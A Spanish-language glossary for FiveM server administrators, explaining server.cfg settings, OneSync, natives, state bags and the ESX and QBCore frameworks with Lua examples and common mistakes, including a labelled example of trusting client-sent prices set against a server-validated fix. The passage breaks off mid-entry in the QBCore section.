El glosario multiframework de FiveM

Cada término que sale montando un servidor de FiveM, en ESX, QBCore, Qbox y ox, explicado con ejemplos y con los errores que comete todo el mundo. Cuando un término funciona distinto en cada framework, aquí los tienes todos juntos.

Fundamentos (15)
Frameworks (24)
Recursos y scripting (12)
Eventos y permisos (13)
Base de datos (12)
Rendimiento (12)
Seguridad (13)
Interfaz (NUI) (9)
Mapeo y assets (8)
Administración (12)

Fundamentos

Qué es cada pieza y cómo encaja.

FiveM

Plataforma de modificación multijugador para GTA V que permite montar servidores propios (rol, carreras, laboral). Está desarrollada por Cfx.re y no pertenece a Rockstar.

FiveM tiene dos mitades. Por un lado el cliente, que es el programa que instala el jugador y que arranca su copia legal de GTA V en un modo aparte, sin tocar el online oficial. Por otro lado FXServer, el programa que tú levantas y que aloja tu ciudad. Cuando un jugador entra, tu servidor le envía la lista de recursos y los assets que necesita, y a partir de ahí ambos lados ejecutan código tuyo.

Lo importante para quien monta un servidor es que FiveM no es un mod que cambia el juego base, sino una plataforma de scripting. Tú no editas GTA V, tú escribes recursos en Lua o JavaScript que llaman a las funciones internas del juego (las natives) y sincronizan estado por red. Todo lo que ves en un servidor de rol (dinero, trabajos, inventario, casas) lo ha escrito alguien encima de esa base, no viene de fábrica.

El jugador necesita una copia legal de GTA V en Steam, Epic o Rockstar. Tú necesitas una license key gratuita de Cfx.re y una máquina donde correr FXServer. Nada más. El resto es tiempo y criterio.

Ejemplo · Un servidor de FiveM es, en esencia, FXServer leyendo un server.cfg.
# Lo mínimo que hace que un servidor exista y acepte gente
endpoint_add_tcp "0.0.0.0:30120"
endpoint_add_udp "0.0.0.0:30120"

sv_hostname "Mi Ciudad | Roleplay ES"
sv_maxclients 48
set onesync on

sv_licenseKey "cfxk_TU_CLAVE"   # de keymaster.fivem.net

ensure oxmysql
ensure es_extended

En qué se equivoca todo el mundo

  • Creer que FiveM es un juego aparte que se compra. Es gratis, pero exige una copia legal de GTA V en el PC del jugador.
  • Pensar que los scripts corren en el servidor y ya está. La mitad del código de tu ciudad corre en el PC de cada jugador, y ese PC miente cuando le interesa.
  • Montar el servidor en el PC de casa y abrirlo a internet. Vale para probar, nunca para producción, porque expones tu IP y tu red doméstica.
Cfx.re

La organización que desarrolla y mantiene FiveM y RedM. Gestiona las license keys de servidor, los artifacts y la lista de servidores. Crxative-M no está afiliado a Cfx.re.

Cfx.re es quien publica el runtime que tú ejecutas (los artifacts de FXServer), quien emite las claves de licencia desde keymaster y quien mantiene la documentación de natives y de la plataforma. Si tu servidor aparece en la lista pública, aparece porque Cfx.re lo indexa a partir de la clave con la que arrancó.

También es quien pone las reglas. Los Términos de Servicio de Cfx.re prohíben vender ventaja de juego (pay to win), y saltárselos puede costarte la clave de licencia y la presencia en la lista de servidores. Vender cosméticos o prioridad de cola está permitido. Vender dinero, armas o vehículos con ventaja, no.

En 2023 Cfx.re fue adquirida por Rockstar Games, así que la plataforma ya no es un proyecto ajeno a la editora, aunque sigue funcionando de forma independiente del GTA Online oficial.

En qué se equivoca todo el mundo

  • Confundir Cfx.re con FiveM. Cfx.re es la organización, FiveM es uno de sus productos (RedM, para Red Dead Redemption 2, es el otro).
  • Ignorar los ToS y montar una tienda con dinero in game. Es la vía rápida a perder la clave y el servidor.
  • Buscar soporte oficial de Cfx.re para recursos de terceros. Ellos mantienen la plataforma, no el script de leak que te descargaste.
Relacionado FiveM, keymaster, license key (sv_licenseKey)
FXServer

El programa que ejecuta tu servidor de FiveM. Lee el server.cfg, arranca los recursos, sincroniza a los jugadores y escucha en el puerto 30120.

FXServer es lo que descargas de Cfx.re en forma de artifact. En Windows es FXServer.exe y en Linux se lanza con run.sh. Dentro trae el runtime de Lua y JavaScript, la capa de red, el sistema de recursos y txAdmin (que va incluido como el recurso monitor). No lo editas nunca. Cuando quieres actualizar, reemplazas la carpeta entera por otra versión.

Tus datos viven aparte, en txData, con tu server.cfg y tu carpeta resources dentro. Esa separación es la que te permite actualizar el binario sin perder tu ciudad. Si mezclas las dos cosas y metes tus recursos dentro de la carpeta del artifact, la próxima actualización te los llevará por delante.

FXServer ejecuta la lógica del juego en un solo hilo. Si bloqueas ese hilo (una consulta a la base de datos sin await, un bucle pesado en server.lua), lo bloqueas para todos los jugadores a la vez. Por eso al elegir hosting importa más la potencia por núcleo que el número de núcleos.

Ejemplo · Arrancar FXServer y llegar a txAdmin por primera vez.
# Windows, desde la carpeta del artifact
FXServer.exe +exec server.cfg

# Linux
./run.sh +exec server.cfg

# La primera vez, la consola imprime la URL de txAdmin y un PIN de un solo uso
# http://localhost:40120

En qué se equivoca todo el mundo

  • Meter tus recursos dentro de la carpeta del artifact. Van en txData/tu_perfil/resources, nunca junto a los binarios.
  • Alquilar un VPS de 8 núcleos flojos pensando que irá mejor. FiveM es casi monohilo, así que gana la CPU con más frecuencia por núcleo.
  • Actualizar el artifact copiando archivos sueltos encima. Descomprime la versión nueva en una carpeta limpia y apunta txData a ella.
Relacionado artifacts, txAdmin, server.cfg
cliente y servidor

Los dos lados en los que corre el código de FiveM. El cliente se ejecuta en el PC de cada jugador (dibuja, lee teclas, controla su ped). El servidor se ejecuta en tu máquina y es el único que decide.

En el fxmanifest declaras qué scripts van a cada lado con client_scripts, server_scripts y shared_scripts. El cliente puede dibujar marcadores, abrir menús NUI, leer el teclado y consultar el mundo que tiene cargado. El servidor no ve gráficos ni teclas, pero tiene la base de datos, la lista de jugadores y la última palabra sobre dinero, ítems y permisos.

Los dos lados hablan por eventos. El cliente llama a TriggerServerEvent y el servidor responde con TriggerClientEvent al jugador concreto. Ese puente es el punto más delicado de todo servidor, porque cualquiera con un executor puede lanzar tus eventos de servidor con los parámetros que le dé la gana. Un evento del cliente es una petición, nunca una verdad.

La regla práctica: pon en el cliente todo lo visual y lo inmediato, y pon en el servidor todo lo que tenga consecuencias. Si un evento del cliente puede darte dinero, tienes un problema, no un script.

Ejemplo · El cliente pide cobrar. El servidor comprueba el trabajo antes de pagar.
-- client.lua: el cliente PIDE, no decide
RegisterCommand('cobrar', function()
  TriggerServerEvent('mi_trabajo:cobrarSueldo')
end)

-- server.lua: el servidor COMPRUEBA y decide
RegisterNetEvent('mi_trabajo:cobrarSueldo', function()
  local src = source
  local xPlayer = ESX.GetPlayerFromId(src)
  if not xPlayer then return end
  if xPlayer.getJob().name ~= 'mecanico' then return end -- validación real
  xPlayer.addMoney(250)
end)

En qué se equivoca todo el mundo

  • Calcular el dinero o el precio en el cliente y enviar el resultado al servidor. El jugador cambia ese número en un segundo.
  • Registrar en el servidor un evento con AddEventHandler en lugar de RegisterNetEvent, o al revés, y no entender por qué no se dispara.
  • Llamar natives de cliente (PlayerPedId, DrawMarker) desde un server_script. No existen en ese lado y el recurso reventará.
Relacionado server-authoritative, native, source
native

Una función interna de GTA V o de FiveM que puedes llamar desde tu script. GetEntityCoords, SetEntityHealth o TriggerClientEvent son natives.

Las natives son la API real del juego. Todo lo que tu recurso hace de verdad (mover un ped, crear un vehículo, saber dónde está un jugador) acaba en una llamada a una native. La referencia oficial es la documentación de natives de Cfx.re, y ahí verás que cada una está marcada como de cliente, de servidor o de ambos. Una native de cliente no existe en el servidor, y llamarla ahí es un error de arranque, no un aviso.

Hay dos familias. Las natives del propio GTA V, heredadas del juego, con nombres largos y hasheados por dentro. Y las natives de FiveM, que añaden lo que el juego base no tiene (eventos, recursos, identificadores, state bags). En la práctica se llaman igual desde Lua.

No son gratis. Cada llamada cruza la frontera entre Lua y el motor. Una llamada suelta no se nota, pero PlayerPedId dentro de un bucle a Wait(0), repetido cinco veces por iteración, sí se nota en el resmon. Cachea el resultado fuera del trabajo repetido.

Ejemplo · Cachear una native cara fuera del trabajo repetido.
-- Mal: pide el ped tres veces en cada frame
CreateThread(function()
  while true do
    Wait(0)
    if GetEntityHealth(PlayerPedId()) < 50 then avisar() end
    if IsPedSwimming(PlayerPedId()) then nadar() end
    local c = GetEntityCoords(PlayerPedId())
  end
end)

-- Bien: una llamada por iteración, y el bucle duerme
CreateThread(function()
  while true do
    Wait(500)
    local ped = PlayerPedId()
    if GetEntityHealth(ped) < 50 then avisar() end
    if IsPedSwimming(ped) then nadar() end
  end
end)

En qué se equivoca todo el mundo

  • Copiar un snippet de un foro sin mirar si esa native es de cliente o de servidor. Es la causa número uno de recursos que no arrancan.
  • Llamar natives caras dentro de un while true con Wait(0). Ahí es donde nacen los recursos en rojo del resmon.
  • Asumir que una native devuelve lo que crees. Muchas devuelven varios valores o un handle, no un valor bonito. Compruébalo en la documentación antes de encadenar.
gamebuild

La versión de contenido de GTA V que tu servidor obliga a cargar a los jugadores. Se fija con sv_enforceGameBuild y decide a qué DLC (coches, ropa, interiores) tienes acceso.

Cada DLC de GTA V añade modelos, props y mapas nuevos. Por defecto FiveM arranca en un build antiguo, así que si intentas usar un vehículo o una prenda de un DLC reciente, el jugador verá un modelo inválido o directamente nada. Fijar el gamebuild le dice al cliente que cargue el contenido hasta esa versión.

El coste es que subir de gamebuild puede romper cosas. Los MLO que sustituyen interiores del mapa base, los packs de ropa y algunos scripts de vehículos están hechos contra un build concreto. Cuando cambies de build, entra al servidor y comprueba los interiores custom y la ropa antes de anunciarlo, porque el fallo típico aparece días después en forma de tienda invisible o personaje deforme.

La regla sana es fijar siempre el gamebuild de forma explícita en el server.cfg, aunque sea el que ya usabas. Así no dependes del valor por defecto del artifact, que puede cambiar cuando actualices.

Ejemplo · Fijar el gamebuild en el server.cfg.
# Fija la versión de contenido del juego para todos los jugadores.
# Cada número es una actualización de GTA V. Si tus assets son de un DLC
# reciente, necesitas un build igual o superior al que los introdujo.
set sv_enforceGameBuild 2802

# Sin esta línea el servidor usa el build por defecto del artifact,
# y los assets de DLC nuevos no cargarán.

En qué se equivoca todo el mundo

  • Instalar un coche o una ropa de un DLC nuevo sin subir el gamebuild y culpar al recurso cuando el modelo no aparece.
  • Subir el gamebuild sin probar los MLO. Un interior custom hecho para un build viejo puede quedarse a oscuras o pisado por el interior original.
  • No declarar sv_enforceGameBuild y descubrir que un cambio de artifact te ha movido el build por debajo de los pies.
Relacionado artifacts, server.cfg, MLO
artifacts

Las compilaciones de FXServer que publica Cfx.re. Cada una lleva un número de build y contiene los binarios del servidor y txAdmin. Actualizar el servidor es cambiar de artifact.

Un artifact es una carpeta con el ejecutable del servidor, el runtime de Citizen y el recurso monitor (txAdmin). Se descarga de la web de artifacts de Cfx.re, hay versiones para Windows y para Linux, y cada build lleva un número. Ese número es lo que la gente te pide cuando reportas un fallo, porque un bug puede ser del artifact y no de tu código.

Actualizar es descomprimir la versión nueva en una carpeta limpia y volver a apuntar a tu txData de siempre. Nunca copies encima de la carpeta vieja, porque quedan archivos huérfanos que dan errores imposibles de diagnosticar. Y nunca metas tus recursos dentro del artifact, por la misma razón.

Antes de actualizar en producción, prueba en un servidor de test. Los artifacts nuevos a veces rompen recursos antiguos (cambios en natives, en la política de eventos o en el escrow), y descubrirlo con 60 jugadores dentro es la peor manera de enterarse.

En qué se equivoca todo el mundo

  • Actualizar el artifact un viernes por la noche y directamente en producción. Si algo se rompe, se rompe con la ciudad llena.
  • Descomprimir el artifact nuevo encima del viejo. Deja residuos y provoca fallos que no salen en ningún log claro.
  • Quedarse tres años en un build antiguo. Al final ningún recurso moderno te funciona y la migración es un salto enorme en lugar de varios pasos pequeños.
Relacionado FXServer, canary vs recommended, gamebuild
OneSync

El sistema de sincronización moderno de FiveM. Da la autoridad del mundo al servidor, permite pasar de 32 jugadores y habilita entidades creadas desde el lado servidor.

Sin OneSync, GTA V sincroniza a la manera clásica, con el cliente como dueño de las entidades y un tope de 32 jugadores. Con OneSync activado, el servidor sabe qué entidades existen, dónde están y quién las controla. Eso es lo que hace posible que un servidor de rol tenga 64 o 128 personas y que las cosas ocurran de forma coherente para todos.

El efecto secundario más valioso es de seguridad. Cuando el estado se valida en el servidor, muchas trampas dejan de funcionar solas, porque el cliente ya no es la fuente de la verdad. También te permite crear vehículos y objetos desde server.lua con CreateVehicle y que todos los vean igual, en lugar de pedirle al cliente que los cree y rezar.

Se activa con una línea en el server.cfg. Y ojo con el detalle que pilla a todo el mundo: si pones sv_maxclients por encima de 32 sin OneSync, el servidor no te dará esos slots.

Ejemplo · OneSync es lo que desbloquea de verdad los slots por encima de 32.
set onesync on          # sincronización server-authoritative
sv_maxclients 64        # por encima de 32 SOLO funciona con onesync activado
sv_endpointprivacy true # no expone las IP de los jugadores

En qué se equivoca todo el mundo

  • Subir sv_maxclients a 64 y dejar onesync apagado. El servidor seguirá tapado a 32 y nadie entenderá por qué.
  • Creer que OneSync arregla el rendimiento. Sincroniza mejor, pero un recurso que consume 5 ms por frame los sigue consumiendo.
  • Crear entidades desde el cliente en un servidor con OneSync cuando podrías crearlas en el servidor. Pierdes coherencia y abres la puerta a spawns falsos.
server-authoritative

Principio por el que la lógica importante (dar dinero, ítems, permisos) se decide y se valida en el servidor, sin confiar nunca en el cliente. Es lo que evita la mayoría de las trampas.

El cliente corre en el PC del jugador, y ese PC no es tuyo. Con un executor cualquiera puede lanzar tus eventos de red con los argumentos que quiera. Si tu script de tienda envía TriggerServerEvent('tienda:comprar', item, precio), el jugador te comprará un rifle por un euro y no habrá bug que arreglar, porque el bug es el diseño.

Ser server-authoritative significa que el servidor no acepta datos, acepta intenciones. El cliente dice quiero comprar el ítem 3 en la tienda 7. El servidor mira su propia tabla de precios, comprueba que el jugador está cerca de esa tienda, comprueba que tiene saldo, cobra y entrega. El precio, la posición y el saldo nunca viajan desde el cliente.

Lo mismo vale para los permisos. Que el cliente oculte un botón de admin no impide nada. La comprobación de si alguien es admin se hace en el servidor, con ACE o con el framework, en el momento de ejecutar la acción.

Ejemplo · Nunca aceptes del cliente el precio, la cantidad ni la posición.
-- ❌ el cliente manda el precio: regalo para cualquier cheater
RegisterNetEvent('tienda:comprar', function(item, precio)
  local xPlayer = ESX.GetPlayerFromId(source)
  xPlayer.removeMoney(precio)
  xPlayer.addInventoryItem(item, 1)
end)

-- ✅ el servidor decide el precio y valida distancia y saldo
local PRECIOS = { pan = 5, agua = 3 }
local TIENDA = vector3(25.7, -1345.0, 29.5)

RegisterNetEvent('tienda:comprar', function(item)
  local src = source
  local precio = PRECIOS[item]
  if not precio then return end                       -- ítem inventado
  local ped = GetPlayerPed(src)
  if #(GetEntityCoords(ped) - TIENDA) > 3.0 then return end -- no está allí
  local xPlayer = ESX.GetPlayerFromId(src)
  if xPlayer.getMoney() < precio then return end      -- no le llega
  xPlayer.removeMoney(precio)
  xPlayer.addInventoryItem(item, 1)
end)

En qué se equivoca todo el mundo

  • Aceptar cantidad o precio como parámetro de un evento de red. Es la vía más común de inflación en un servidor de rol.
  • Validar la distancia en el cliente. Da igual, el cliente puede saltarse esa comprobación entera.
  • Confiar en que el menú NUI solo permite valores válidos. La NUI es del jugador, no tuya.
Relacionado cliente y servidor, OneSync, backdoor
tick / thread

Un bucle de ejecución dentro de un recurso, creado con CreateThread. Cede el control con Wait, y el número que le pases decide cuántas veces por segundo se ejecuta tu código.

FiveM ejecuta los recursos de forma cooperativa. Tu thread corre hasta que llama a Wait, y ahí devuelve el control al motor. Wait(0) significa vuelve a llamarme en el próximo frame, o sea decenas de veces por segundo. Wait(1000) significa vuelve dentro de un segundo. No hay hilos de verdad en paralelo, así que si tu código no cede, congelas el recurso.

El pecado clásico es un while true do con Wait(0) que hace trabajo pesado siempre, esté el jugador donde esté. Dibujar un marcador de una tienda que está a dos kilómetros cuesta lo mismo que dibujarlo delante de tus narices. La técnica que separa un script amateur de uno profesional es el Wait dinámico, que sube el tiempo de espera cuando no hace falta refrescar y lo baja a 0 solo cuando el jugador está cerca.

En el servidor la historia es parecida pero más grave, porque la lógica del juego corre en un solo hilo. Si bloqueas ese hilo, lo bloqueas para todos los jugadores. Ahí es donde aparece el aviso de script took too long y los tirones de la ciudad entera.

Ejemplo · Wait dinámico. En reposo el recurso gasta casi 0 ms.
local tienda = vector3(25.7, -1345.0, 29.5)

CreateThread(function()
  while true do
    local sleep = 1000                       -- por defecto duerme 1 s
    local pos = GetEntityCoords(PlayerPedId())
    local dist = #(pos - tienda)

    if dist < 20.0 then
      sleep = 0                              -- cerca: cada frame
      DrawMarker(1, tienda.x, tienda.y, tienda.z - 1.0, 0,0,0, 0,0,0,
        1.0,1.0,1.0, 0,150,255,100, false,false,2,nil,nil,false)
      if dist < 1.5 and IsControlJustPressed(0, 38) then
        abrirTienda()
      end
    end

    Wait(sleep)
  end
end)

En qué se equivoca todo el mundo

  • Olvidar el Wait dentro de un while true. El recurso se cuelga y con él el servidor o el cliente.
  • Dejar Wait(0) permanente porque va fluido en tu PC. Con veinte recursos así, tus jugadores tienen 30 FPS.
  • Meter una consulta a la base de datos dentro de un bucle apretado del servidor. Multiplicas viajes a la BD y bloqueas al resto.
identificadores (license, steam, discord)

Las cadenas que identifican de forma persistente a un jugador (license, steam, discord, fivem, ip). Son lo que usas para guardar datos, dar admin y banear.

Cuando alguien se conecta, FiveM le adjunta una lista de identificadores. El más usado es license, porque viene de su copia de Rockstar y lo tiene todo el mundo, esté o no en Steam. steam solo aparece si entró desde Steam, y discord solo si tiene el Discord abierto y vinculado, así que apoyar tu economía entera en steam es una forma elegante de perder los datos de media ciudad.

En el servidor los sacas con GetPlayerIdentifiers(src), que te devuelve una tabla con todos, o con GetPlayerIdentifierByType(src, 'license'), que te da directamente el que quieres. Ese valor es la clave con la que guardas al jugador en la base de datos y con la que ESX y QBCore encuentran su ficha.

También es lo que usas para los permisos ACE. add_principal identifier.fivem:123456 group.admin ata a una persona concreta a un grupo. Y para banear de verdad, porque banear por nombre no sirve de nada.

Ejemplo · license es el identificador en el que apoyar la base de datos.
RegisterCommand('quiensoy', function(source)
  local src = source
  -- Todos los identificadores del jugador
  for _, id in ipairs(GetPlayerIdentifiers(src)) do
    print(id)  -- license:xxxx, steam:110000..., discord:123..., ip:...
  end

  -- O directamente el que te interesa
  local license = GetPlayerIdentifierByType(src, 'license')
  print('license =', license)
end, true)

En qué se equivoca todo el mundo

  • Usar steam como clave principal. Quien entra desde Epic o Rockstar no tiene steam y su ficha no se creará.
  • Guardar el identificador sin el prefijo (license:) o guardarlo con él a medias, y luego no encontrar al jugador porque las cadenas no coinciden.
  • Banear por nombre o por ID de sesión. Vuelve a entrar en treinta segundos con otro nombre.
Ver la guía relacionadaRelacionado source, txAdmin, convar
entidad y netId

Una entidad es cualquier cosa del mundo (ped, vehículo, objeto). El handle de entidad es local a cada máquina. El netId es el identificador de red compartido, y es el único que puedes enviar entre cliente y servidor.

El número que te devuelve CreateVehicle o PlayerPedId en el cliente es un handle local. No significa nada en el PC de otro jugador ni en el servidor. Si lo envías por un evento, al otro lado apuntará a otra cosa o a nada, y ese es el origen de la mitad de los bugs raros de vehículos.

El netId sí es común. Se obtiene con NetworkGetNetworkIdFromEntity(entity) y se convierte de vuelta con NetworkGetEntityFromNetworkId(netId). El patrón correcto es que el cliente mande el netId, el servidor lo resuelva a su propia entidad y opere sobre ella. Con OneSync, además, el servidor puede crear la entidad directamente y repartir el netId a quien lo necesite.

Cuidado con el tiempo. Una entidad recién creada puede no existir todavía en el otro lado durante unos milisegundos, así que comprueba siempre con DoesEntityExist antes de tocarla, y no des por hecho que el netId resuelve a la primera.

Ejemplo · El handle es local. El netId es lo único que viaja.
-- client.lua: nunca envíes el handle local
local veh = GetVehiclePedIsIn(PlayerPedId(), false)
TriggerServerEvent('taller:reparar', NetworkGetNetworkIdFromEntity(veh))

-- server.lua: resuelve el netId a una entidad de este lado
RegisterNetEvent('taller:reparar', function(netId)
  local src = source
  local veh = NetworkGetEntityFromNetworkId(netId)
  if not veh or veh == 0 or not DoesEntityExist(veh) then return end
  -- ...comprobaciones de trabajo, distancia y dinero antes de reparar
end)

En qué se equivoca todo el mundo

  • Enviar el handle de la entidad al servidor y preguntarse por qué el vehículo que se repara es otro.
  • Usar el netId sin comprobar DoesEntityExist. Si el jugador se fue o el coche se borró, tu script explota.
  • Creer que el netId de un ped de jugador vale como identificación del jugador. Para eso está el source y los identificadores.
Relacionado OneSync, source, state bags
coordenadas y vectores

Las posiciones en el mundo se expresan con vector3 (x, y, z) y a veces vector4 (con heading). El operador #(a - b) te da la distancia entre dos puntos.

Lua en FiveM trae tipos vectoriales nativos. GetEntityCoords te devuelve un vector3 y puedes restarlos directamente. La forma idiomática de medir distancia es #(pos - punto), que te da los metros sin escribir la fórmula con raíces cuadradas a mano. Es rápido y es lo que verás en todo el código moderno.

El heading (la orientación) va aparte, con GetEntityHeading, y por eso mucha gente usa vector4 para guardar un punto de spawn completo. Cuando copies coordenadas de una web, comprueba si la Z que te dan es la del suelo o la del centro del ped, porque de ahí salen los spawns bajo el asfalto y los marcadores flotando.

La distancia es el mejor portero de tus bucles. Antes de dibujar, antes de mirar el teclado, antes de calcular nada, pregunta si el jugador está cerca. Si no lo está, duerme el thread. Ese único filtro convierte recursos rojos en recursos verdes.

Ejemplo · #(a - b) es la distancia. Úsala como filtro antes de trabajar.
local punto = vector3(-1037.0, -2738.0, 20.0)
local pos = GetEntityCoords(PlayerPedId())

local distancia = #(pos - punto)   -- metros, directamente

if distancia < 50.0 then
  -- solo aquí dibujamos, comprobamos teclas, etc.
end

-- vector4 guarda también la orientación (heading)
local spawn = vector4(-1037.0, -2738.0, 20.0, 328.5)

En qué se equivoca todo el mundo

  • Calcular la distancia con Vdist o con la fórmula manual dentro de un bucle apretado cuando #(a - b) es más rápido y más claro.
  • Copiar una Z sacada de un editor de mapas y spawnear al jugador dentro del suelo. Resta o suma según de dónde venga el dato.
  • Comparar posiciones con == entre floats. Nunca coinciden exactamente, compara distancias con un margen.
Relacionado native, tick / thread, MLO
state bags

Un sistema de FiveM para guardar datos en una entidad, un jugador o el mundo, y replicarlos automáticamente. Sustituye a media docena de eventos manuales de sincronización.

Cada entidad y cada jugador tienen un state bag, un saco de claves y valores. Escribes con Entity(veh).state:set('cerrado', true, true) y lees con Entity(veh).state.cerrado. El tercer parámetro (replicated) es el que decide si el valor viaja al resto de máquinas. Cuando lo pones a true, FiveM se encarga de mantenerlo sincronizado sin que tú escribas ni un evento.

La ganancia real es que puedes reaccionar a los cambios en lugar de vigilarlos en bucle. Con AddStateBagChangeHandler el juego te avisa cuando esa clave cambia, y así te ahorras un while true preguntando cada frame si el jugador sigue esposado o si el coche sigue cerrado. Menos polling, menos milisegundos, menos bugs.

No es una base de datos. Si el jugador se va o el vehículo se borra, ese estado desaparece. Los state bags son para el estado vivo de la partida. Lo que no se puede perder sigue yendo a MySQL.

Ejemplo · Un cambio de estado avisa solo. No hace falta preguntar cada frame.
-- server.lua: marcar un vehículo como cerrado y replicarlo
local veh = NetworkGetEntityFromNetworkId(netId)
Entity(veh).state:set('cerrado', true, true) -- el tercer arg replica

-- client.lua: reaccionar SOLO cuando cambia, sin bucles
AddStateBagChangeHandler('cerrado', nil, function(bagName, key, value)
  local netId = tonumber(bagName:gsub('entity:', ''), 10)
  if not netId then return end
  local ent = NetworkGetEntityFromNetworkId(netId)
  if not DoesEntityExist(ent) then return end
  SetVehicleDoorsLocked(ent, value and 2 or 1)
end)

En qué se equivoca todo el mundo

  • Olvidar el tercer parámetro de :set y preguntarse por qué el resto de jugadores no ve el cambio.
  • Usar state bags como almacenamiento permanente. Se pierden al desconectar, no sustituyen a la base de datos.
  • Meter tablas enormes en un state bag replicado. Cada cambio viaja por la red a los clientes interesados, así que guarda datos pequeños.
Relacionado entidad y netId, OneSync, oxmysql

Frameworks

ESX, QBCore, Qbox y ox: la base de tu servidor.

framework

Capa de recursos que se instala encima de FiveM y aporta lo que el juego base no tiene (personajes persistentes, dinero, trabajos e inventario). Los más usados son ESX, QBCore, Qbox y ox_core.

FiveM te da el motor, la red y la capacidad de cargar recursos. No sabe qué es «dinero», ni un «trabajo», ni un «inventario», ni quién eres tú entre una sesión y la siguiente. Todo eso lo aporta el framework, que guarda al personaje en la base de datos y expone funciones comunes para que cada script no reinvente lo mismo.

Por eso el framework no es una decisión estética. Casi todos los recursos de terceros están escritos contra uno concreto, así que elegir framework decide qué scripts puedes instalar sin portarlos y qué comunidad te va a poder ayudar cuando te atasques.

La buena noticia es que la lógica es la misma en los cuatro y solo cambia el vocabulario. Obtener el core, sacar el objeto del jugador a partir de su source, mover su dinero, leer su trabajo y pedir datos al servidor con un callback. Si dominas esos cinco gestos, traduces cualquier recurso de un framework a otro leyendo una tabla de equivalencias.

Un servidor lleva UN core, no dos. Lo que sí se mezcla (y es lo normal hoy) es el core con la stack de Overextended, es decir ESX o QBCore con oxmysql, ox_lib, ox_inventory y ox_target por encima.

Ejemplo · El mismo gesto (obtener el core) en los cuatro frameworks
-- ESX Legacy
ESX = exports['es_extended']:getSharedObject()

-- QBCore
local QBCore = exports['qb-core']:GetCoreObject()

-- Qbox: NO hay core object. Se usan los exports de qbx_core y ox_lib directamente.
local player = exports.qbx_core:GetPlayer(source)

-- ox_core: global Ox
local player = Ox.GetPlayer(source)

En qué se equivoca todo el mundo

  • Instalar dos cores a la vez (es_extended y qb-core) esperando compatibilidad. Solo debe arrancar uno.
  • Copiar un snippet de un tutorial sin mirar de qué framework es. La mitad de los errores «attempt to index a nil value» son eso.
  • Creer que un recurso «para ESX» arranca en QBCore porque los dos son «FiveM». No arranca, hay que portarlo o usar un bridge.
Relacionado ESX, QBCore, Qbox (qbx_core)
ESXESX

Framework de roleplay para FiveM que aporta la base de un servidor (jugadores, dinero, trabajos, inventario e ítems). Es uno de los dos frameworks más usados junto a QBCore, y su recurso principal se llama es_extended.

ESX es el framework más veterano del ecosistema y por eso tiene el catálogo de recursos de terceros más grande que existe. Casi cualquier sistema que se te ocurra (concesionario, casa, banda, minijuego) ya está hecho para ESX, gratis o de pago.

Su modelo mental es corto. Obtienes el objeto compartido ESX, con él sacas un xPlayer a partir del source del jugador, y sobre ese xPlayer llamas a métodos como addMoney, setJob o addInventoryItem. El dinero va por cuentas, no por un solo saldo.

El precio de ser veterano es la fragmentación. Hay servidores con ESX 1.1, con ESX 1.2 y con ESX Legacy, y las tres versiones no son intercambiables. Antes de copiar código de un foro, mira qué versión estás usando de verdad.

Ejemplo · Lo esencial de ESX en el servidor
ESX = exports['es_extended']:getSharedObject()

RegisterCommand('pagar', function(source)
    local xPlayer = ESX.GetPlayerFromId(source)
    if not xPlayer then return end -- el jugador puede no estar cargado

    xPlayer.addMoney(500)                     -- efectivo (cuenta 'money')
    xPlayer.addAccountMoney('bank', 500)      -- banco
    print(xPlayer.identifier)                 -- su identificador único
    print(xPlayer.getJob().name)              -- su trabajo, p. ej. 'police'
end)

En qué se equivoca todo el mundo

  • Confundir addMoney con addAccountMoney('bank', n). El primero toca el efectivo, el segundo el banco, y mezclarlos descuadra la economía.
  • No comprobar if not xPlayer then return end. GetPlayerFromId devuelve nil si el jugador aún no ha cargado.
  • Usar el AddItem del core cuando el servidor tiene ox_inventory instalado. Con ox_inventory los ítems van por sus exports aunque el core sea ESX.
ESX LegacyESX

La versión moderna y mantenida de ESX. Cambia algunas formas de hacer las cosas respecto a versiones antiguas, como obtener el objeto compartido con exports['es_extended']:getSharedObject().

Legacy es el ESX que se mantiene hoy. Si montas un servidor nuevo con ESX, montas Legacy. El resto (1.1, 1.2) está abandonado y arrastra vulnerabilidades y APIs que ya no existen.

La diferencia que más rompe scripts es cómo se obtiene el core. En ESX antiguo se pedía por evento con TriggerEvent('esx:getSharedObject', ...). En Legacy ese evento ya no se dispara, así que ese código deja ESX a nil y el recurso revienta en la primera línea que lo toca. La forma correcta es el export, o importar '@es_extended/imports.lua' como shared_script.

Legacy también movió el acceso a datos hacia getters (getJob, getMoney, getAccount, getInventoryItem) en lugar de leer campos crudos. Los campos directos como xPlayer.job siguen existiendo en muchas versiones, pero los getters son lo que la documentación actual usa y lo que no se te va a romper en la siguiente actualización.

Ejemplo · Lo que ya no funciona y lo que sí
-- ESX ANTIGUO (1.1 / 1.2). En Legacy este evento no se dispara: ESX queda nil.
ESX = nil
TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end)

-- ESX LEGACY, forma correcta (export)
ESX = exports['es_extended']:getSharedObject()

-- ESX LEGACY, alternativa por manifest:
-- fxmanifest.lua -> shared_script '@es_extended/imports.lua'
-- (con eso ESX ya existe como global, sin llamar a nada)

En qué se equivoca todo el mundo

  • Copiar el TriggerEvent('esx:getSharedObject') de un tutorial viejo y comerse un «attempt to index a nil value (global 'ESX')».
  • Poner el getSharedObject sin declarar es_extended en dependencies del fxmanifest, y llamarlo antes de que el core haya arrancado.
  • Mezclar recursos escritos para ESX 1.1 con un core Legacy y culpar al core cuando el fallo es la versión del recurso.
QBCoreQBCore

El otro gran framework de roleplay para FiveM, alternativa a ESX, con su propio sistema de jugadores, trabajos e ítems. Su recurso principal es qb-core y muchos recursos existen en versión ESX y QBCore.

QBCore nació más tarde que ESX y se nota en cómo estructura los datos. Todo lo que sabe del personaje vive dentro de Player.PlayerData (job, gang, money, charinfo, metadata), y todo lo que puedes hacerle vive dentro de Player.Functions (AddMoney, SetJob, AddItem, SetMetaData).

Trae de serie cosas que en ESX tienes que añadir con recursos aparte, como las bandas (gang), el estado de servicio (onduty) y la metadata del personaje (hambre, sed, estrés). A cambio, su catálogo de recursos de terceros es más pequeño que el de ESX, aunque crece rápido.

Sus funciones de dinero e ítems piden siempre un motivo o razón como último argumento. No es decorativo, es lo que luego aparece en los logs cuando investigas de dónde salió un millón de la nada.

Ejemplo · QBCore y su equivalente exacto en ESX
-- QBCore
local QBCore = exports['qb-core']:GetCoreObject()

RegisterCommand('pagar', function(source)
    local Player = QBCore.Functions.GetPlayer(source)
    if not Player then return end

    Player.Functions.AddMoney('cash', 500, 'comando-pagar')  -- efectivo
